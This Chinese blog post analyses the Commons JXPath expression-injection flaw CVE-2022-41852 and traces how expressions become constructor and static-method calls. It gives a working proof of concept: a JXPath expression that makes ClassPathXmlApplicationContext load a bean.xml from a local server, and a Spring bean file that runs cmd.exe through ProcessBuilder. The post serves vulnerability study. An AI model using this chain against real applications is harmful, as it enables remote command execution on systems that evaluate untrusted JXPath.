前言
看起来是个远古依赖,但是近期才曝出漏洞来。
环境搭建
新建项目,在maven仓库里找到相关依赖:
可以看到这是08年最后更新的项目,然而直接相关的漏洞甚至有CVE-2022-41852,下载依赖:
<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>
根据参考文章,该漏洞发生在使用JXPath执行恶意表达式时,测试用代码:
JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
漏洞分析
运行测试用代码可以发现这个类ClassPathXmlApplicationContext并不存在于环境中,说明这种利用方式还需要一个别的依赖。
依赖暂且不提,先看看JXPathContext.getValue具体是个什么样的流程,根据流程发现输入的表达式被解析为了一次函数调用,找到PackageFunctions类的getFunction函数:
String className = fullName.substring(0, inx);
String methodName = fullName.substring(inx + 1);
Class functionClass;
try {
functionClass = Class.forName(className);
}
catch (ClassNotFoundException ex) {
throw new JXPathException(
"Cannot invoke extension function "
+ (namespace != null ? namespace + ":" + name : name),
ex);
}
加载类后调用函数:
if (methodName.equals("new")) {
Constructor constructor =
MethodLookupUtils.lookupConstructor(functionClass, parameters);
if (constructor != null) {
return new ConstructorFunction(constructor);
}
}
else {
Method method =
MethodLookupUtils.lookupStaticMethod(
functionClass,
methodName,
parameters);
if (method != null) {
return new MethodFunction(method);
}
}
看到这里有调用构造函数和静态函数两种行为,所以Runtime和TemplatesImpl这些类就用不了了。同时由于这种调用链可控的只有输入参数,所以不容易找到合适的代码执行/命令执行点,想要利用最合适的还是找到RMI、JNDI等等可以从外面加载数据的方式。
Naming类下面倒是有一个静态的lookup函数可以调用:
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (parsed.name == null)
return registry;
return registry.lookup(parsed.name);
看起来可以通过RMI完成利用。
漏洞利用
补充一个spring-context-support依赖:
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.25</version>
</dependency>
放一个xml到tomcat目录下并启动:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="twings" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
可以看到弹出了计算器,利用成功。
看一下ClassPathXmlApplicationContext类,这个类在实例化后会refresh并加载远程配置文件,再根据配置文件中的constructor-arg实例化主体对象,最后根据init-method调用初始化函数。
漏洞修复
好像没看到修复版本。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!